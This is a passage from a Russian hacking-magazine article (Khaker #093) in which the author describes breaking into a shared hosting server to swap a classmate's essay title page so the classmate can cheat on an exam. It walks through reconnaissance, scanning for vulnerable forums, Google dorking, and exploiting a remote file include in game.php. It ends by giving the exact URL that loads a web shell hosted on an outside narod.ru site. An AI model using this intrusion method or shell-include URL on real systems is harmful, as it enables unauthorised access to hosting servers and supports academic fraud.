Рефератов захотелось?

Дима Преображенский & h.u.

Хакер, номер #093, стр. 093-068-1

Горячая замена реферата

Сессия и все, что с ней связано, очень напрягает. Один мой знакомый, всю весну кладущий болт на учебу, мечтал на халяву сдать экзамен по сложному предмету. Такая возможность у него была: стоило лишь написать реферат на легкую тему «Метод резолюции для логического вывода в программах на основе фраз Хорна». Учитывая, что препод был не из дураков и серфил инет на предмет случайного плагиата, у моего кореша практически не было шансов получить автомат. Но это лишь на первый взгляд.

Молебная просьба сокурсника заключалась в подмене одного из рефератов, а точнее только титульного листа работы, находящейся на сайте www.target.com (название изменено по гуманным причинам). Заняться мне было нечем (ведь я же студент-отличник и давно уже получил автомат), да и не каждый день меня просят о мелких пакостях, поэтому быстро согласился за ящик лимонада выполнить его просьбу.

Первые происки

Сразу же у меня в голове мелькнула мысль: «А нет ли этого реферата в каком-либо другом архиве?». Если это так, то мне пришлось бы расширить диапазон своей атаки. После полуторачасового поиска в яндексе и гугле оказалось, что мне повезло, - такой реферат был только на одном сайте. Я успокоился, так как объем моей будущей работы существенно сократился.

Итак, контент сайта передо мной. Сперва мне подумалось, что на портале установлен некий движок, через который администраторы редактируют архив с рефератами. Не тратя времени зря, я приступил к исследованию сайта на бажные скрипты, но был озадачен - все страницы выполнялись в статическом выполнены в html. Это говорило о том, что админ — извращенец и заливает все посредством ftp. «Ну что же, поищем зацепки еще где-нибудь», - подумал я и, воспользовавшись сервисом domainsdb.net, получил список доменных имен. По выданным мне адресам находились сайты, гордо хранящие свои файлы на хостинге vipserver.ru, клиентом которого являлся нужный нам архив рефератов.

Получив достаточно ценную информацию, я забрался на свой приватный дедик и, не раздумывая, запустил скрипт InetCrack-perl от NSD, производящий поиск дырявых форумов по адресам из файла. По завершению его работы у меня не было ни одной зацепки – все форумы на хостинге были пропатчены :(. Но я не отчаивался, так как сдаваться было слишком рано. Было принято решение воспользоваться гуглом для поиска бажных сценариев. В этот момент мне очень вовремя попалась под руку утилитка g00glink, автором которой является Dr_Ufo_51.

Победы и поражения

Осилив написание этой маленькой удобной штучки, было решено произвести поиск на явно открытый инклуд-баг. Запрос был следующим: «inurl:$site», где $site – имя ресурса из уже известного списка. После завершения работы g00glink и анализа созданного лог-файла был найден интересный скрипт: http://hackme.com/games/game.php?d=games.html. Этот линк очень похож на инклуд-баг, но я сперва не поверил, что найду его здесь и сейчас. Но после копирования ссылки в мой браузер передо мной действительно был элементарный инклуд-баг. Как оказалось, скрипт мог инклудить любой файл с расширением html, в том числе документы со стороннего сайта. Этим я и воспользовался. Залив на сайт vsembayaca.narod.ru веб-шелл от RST/GHC (предварительно сменив его расширение с php на html), я подставил URL до своего шелла параметру d в скрипте game.php, получив полноценный Web-shell: http://hackme.com/games/game.php?d=http://vsembayaca.narod.ru/shell.